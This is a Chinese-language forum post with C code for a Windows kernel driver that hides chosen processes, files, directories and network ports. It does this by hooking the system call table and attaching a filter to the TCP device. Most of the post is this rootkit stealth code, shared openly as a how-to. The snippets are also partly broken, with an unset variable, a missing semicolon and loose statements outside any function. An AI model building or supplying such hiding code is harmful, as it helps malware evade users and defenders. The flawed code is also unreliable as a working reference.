查找進程，目錄/文件，注冊表等操作將最終調用 ZwQueryDirectoryFile，ZwQuerySystemInformation，ZwXXXValueKey 等函數。要想攔截這些函數達到隱藏目的，需先自己實現以上函數，並修改系統維護的一個SYSCALL 表使之指向自己預先定義的函數。因 SYSCALL 表在用戶層不可見，所以要寫 DRIVE 在 RING 0 下才可修改。關於如何修改已有文章詳細介紹過，這裡不在詳述。（可以參見 sysinternals.com 或 WebCrazy 所寫的文章）。查找端口用的是 TDI 查詢。TDI 導出了兩個設備 \\Device\\Tcp 與 \\Device\\Udp。我們可以利用設備過濾驅動的方法寫一個 DRIVE 把這兩個設備的所有 IRP 包接管過來進行處理後再傳給下層驅動。以達到隱藏任意端口的目的。上述提到的方法不是新東西，是在N年前就已經有的老技術。俺現在將它貼出來只不過為了充實下版面，灌灌水罷了。高手們還是別看了。下面是我 DRIVE 中隱藏任意進程，目錄/文件，端口代碼片段。
（注冊表操作在 RegMon 中寫的很詳細，這裡就不列出了）
typedef struct _FILETIME
{
DWORD dwLowDateTime;
DWORD dwHighDateTime;
}FILETIME;
typedef struct _DirEntry
{
DWORD dwLenToNext;
DWORD dwAttr;
FILETIME ftCreate, ftLastAccess, ftLastWrite;
DWORD dwUnknown[ 2 ];
DWORD dwFileSizeLow;
DWORD dwFileSizeHigh;
DWORD dwUnknown2[ 3 ];
WORD wNameLen;
WORD wUnknown;
DWORD dwUnknown3;
WORD wShortNameLen;
WCHAR swShortName[ 12 ];
WCHAR suName[ 1 ];
} DirEntry, *PDirEntry;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID ClientIs;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters;
struct _SYSTEM_THREADS Threads[1];
};
// 隱藏目錄/文件
NTSTATUS HookZwQueryDirectoryFile(
IN HANDLE hFile,
IN HANDLE hEvent OPTIONAL,
IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
IN PVOID IoApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK pIoStatusBlock,
OUT PVOID FileInformationBuffer,
IN ULONG FileInformationBufferLength,
IN FILE_INFORMATION_CLASS FileInfoClass,
IN BOOLEAN bReturnOnlyOneEntry,
IN PUNICODE_STRING PathMask OPTIONAL,
IN BOOLEAN bRestartQuery)
{
NTSTATUS rc;
CHAR aProcessName[80];
ANSI_STRING ansiFileName,ansiDirName;
UNICODE_STRING uniFileName;
PP_DIR ptr;
WCHAR ParentDirectory[1024] = {0};
int BytesReturned;
PVOID Object;
// 執行舊的ZwQueryDirectoryFile函數
rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))(hFile,hEvent,IoApcRoutine,
IoApcContext,pIoStatusBlock,FileInformationBuffer,FileInformationBufferLength,
FileInfoClass,bReturnOnlyOneEntry,PathMask,bRestartQuery);
if(NT_SUCCESS(rc))
{
PDirEntry p;
PDirEntry pLast;
BOOL bLastOne;
int found;
p = (PDirEntry)FileInformationBuffer; // 將查找出來結果賦給結構
pLast = NULL;
do
{
bLastOne = !( p->dwLenToNext );
RtlInitUnicodeString(&uniFileName,p->suName);
RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);
RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);
RtlUpperString(&ansiFileName,&ansiDirName);
found=0;
// 在鏈表中查找是否包含當前目錄
for(ptr = list_head; ptr != NULL; ptr = ptr->next)
{
if (ptr->flag != PTR_HIDEDIR) continue;
if( RtlCompareMemory( ansiFileName.Buffer, ptr->name,strlen(ptr->name) ) == strlen(ptr->name))
{
found=1;
break;
}
}//end for
// 如果鏈表中包含當前目錄，隱藏
if(found)
{
if(bLastOne)
{
if(p == (PDirEntry)FileInformationBuffer )
{
rc = 0x80000006; //隱藏
}
else
pLast->dwLenToNext = 0;
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
int iLeft = (DWORD)FileInformationBufferLength - iPos - p->dwLenToNext;
RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p + p->dwLenToNext ), (DWORD)iLeft );
continue;
}
}
pLast = p;
p = (PDirEntry)((char *)p + p->dwLenToNext );
}while( !bLastOne );
RtlFreeAnsiString(&ansiDirName);
RtlFreeAnsiString(&ansiFileName);
}
return(rc);
}
// 隱藏進程
NTSTATUS HookZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
ANSI_STRING process_name,process_uname,process_name1,process_name2;
BOOL g_hide_proc = TRUE;
CHAR aProcessName[80];
PP_DIR ptr;
int found;
// 執行舊的ZwQuerySystemInformation函數
rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(SystemInformationClass,
SystemInformation,SystemInformationLength,ReturnLength );
if(NT_SUCCESS(rc ))
{
if( g_hide_proc && (5 == SystemInformationClass))
{
// 將查找出來結果賦給結構
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
// 遍歷進程
while(curr)
{
if((0 < process_name.Length) && (255 > process_name.Length))
{
found=0;
// 遍歷鏈表
for(ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if(ptr->flag != PTR_HIDEPROC) continue ;
if(memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found =1;
}
}
// 判斷如果是隱藏進程名則覆蓋掉此進程名
while(found)
{
if(prev)
{
if(curr->NextEntryDelta)
{
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
if(curr->NextEntryDelta)
((char *)curr += curr->NextEntryDelta);
else
{
curr = NULL;break;
}
// 遍歷鏈表
found = 0;
for (ptr=list_head;ptr!=NULL;ptr=ptr->next )
{
if (ptr->flag != PTR_HIDEPROC) continue ;
if (memcmp(process_name.Buffer,ptr->name,strlen(ptr->name)) == 0)
{
found = 1;
}
}
}
}
if(curr != NULL)
{
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
}
}
return(rc);
}
//隱藏端口
PDEVICE_OBJECT m_TcpgetDevice;
PDEVICE_OBJECT TcpDevice;
UNICODE_STRING TcpDeviceName;
PDRIVER_OBJECT TcpDriver;
PDEVICE_OBJECT TcpgetDevice;
PDEVICE_OBJECT FilterDevice
PDRIVER_DISPATCH Empty;
NTSTATUS status;
Empty = DriverObject->MajorFunction[IRP_MJ_CREATE];
RtlInitUnicodeString( &TcpDeviceName, L"\\Device\\Tcp");
//得到已有的設備指針
status = IoGetDeviceObjectPointer( &TcpDeviceName,FILE_ALL_ACCESS,&FileObject,&TcpDevice);
if(!NT_SUCCESS(status))
{
DbgPrint("IoGetDeviceObjectPointer error!\n");
return status;
}
DbgPrint("IoGetDeviceObjectPointer ok!\n");
// 建立設備
status = IoCreateDevice( DriverObject,sizeof(DEVICE_EXTENSION),NULL,
FILE_DEVICE_UNKNOWN,0,FALSE,&FilterDevice);
if(!NT_SUCCESS(status))
{
return status;
}
// 加入設備
TcpgetDevice = IoAttachDeviceToDeviceStack( FilterDevice, TcpDevice);
if(!TcpgetDevice)
{
IoDeleteDevice(FilterDevice);
DbgPrint("IoAttachDeviceToDeviceStack error!\n");
return STATUS_SUCCESS;
}
m_TcpgetDevice = TcpgetDevice;
// 加到過濾函數中處理
for(i=0;i<IRP_MJ_MAXIMUM_FUNCTION;i++)
{
if((TcpDriver->MajorFunction[i]!=Empty)&&(DriverObject->MajorFunction[i]==Empty))
{
DriverObject->MajorFunction[i] = PassThrough;
}
}
ObDereferenceObject(FileObject);
NTSTATUS PassThrough( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )
{
NTSTATUS status;
PIO_STACK_LOCATION pIrpStack;
pIrpStack = IoGetCurrentIrpStackLocation( Irp );
//如是查詢則完成 IRP
if ( pIrpStack->Parameters.DeviceIoControl.IoControlCode == QUERY_INFORMATION_EX)
{
//這裡可以近一步判斷某個端口
Irp->IoStatus.Status=STATUS_SUCCESS;
IoCompleteRequest(Irp,IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
//復制當前 IRP
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine( Irp,GenericCompletion,NULL,TRUE,TRUE,TRUE);
//傳遞
return IoCallDriver( m_TcpgetDevice, Irp);
}
